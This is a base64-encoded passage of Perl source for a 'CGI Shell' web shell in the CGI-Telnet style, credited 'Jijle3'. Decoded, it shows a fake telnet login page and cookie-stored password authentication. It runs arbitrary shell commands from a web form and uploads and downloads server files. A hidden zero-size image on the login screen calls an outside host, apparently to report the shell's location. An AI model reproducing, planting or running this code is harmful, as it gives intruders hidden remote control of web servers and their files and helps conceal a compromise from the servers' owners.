0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+Q0dJIFNoZWxsPC90aXRsZT4NCiRIdG1sTWV0YUhlYWRlcg0KDQoNCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrIj5DR0kgU2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPC9mb250PjxoMT4NCkNHSSBTaGVsIH4gSmlqbGUzDQo8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxuZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIzIj4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij48L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRfXG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG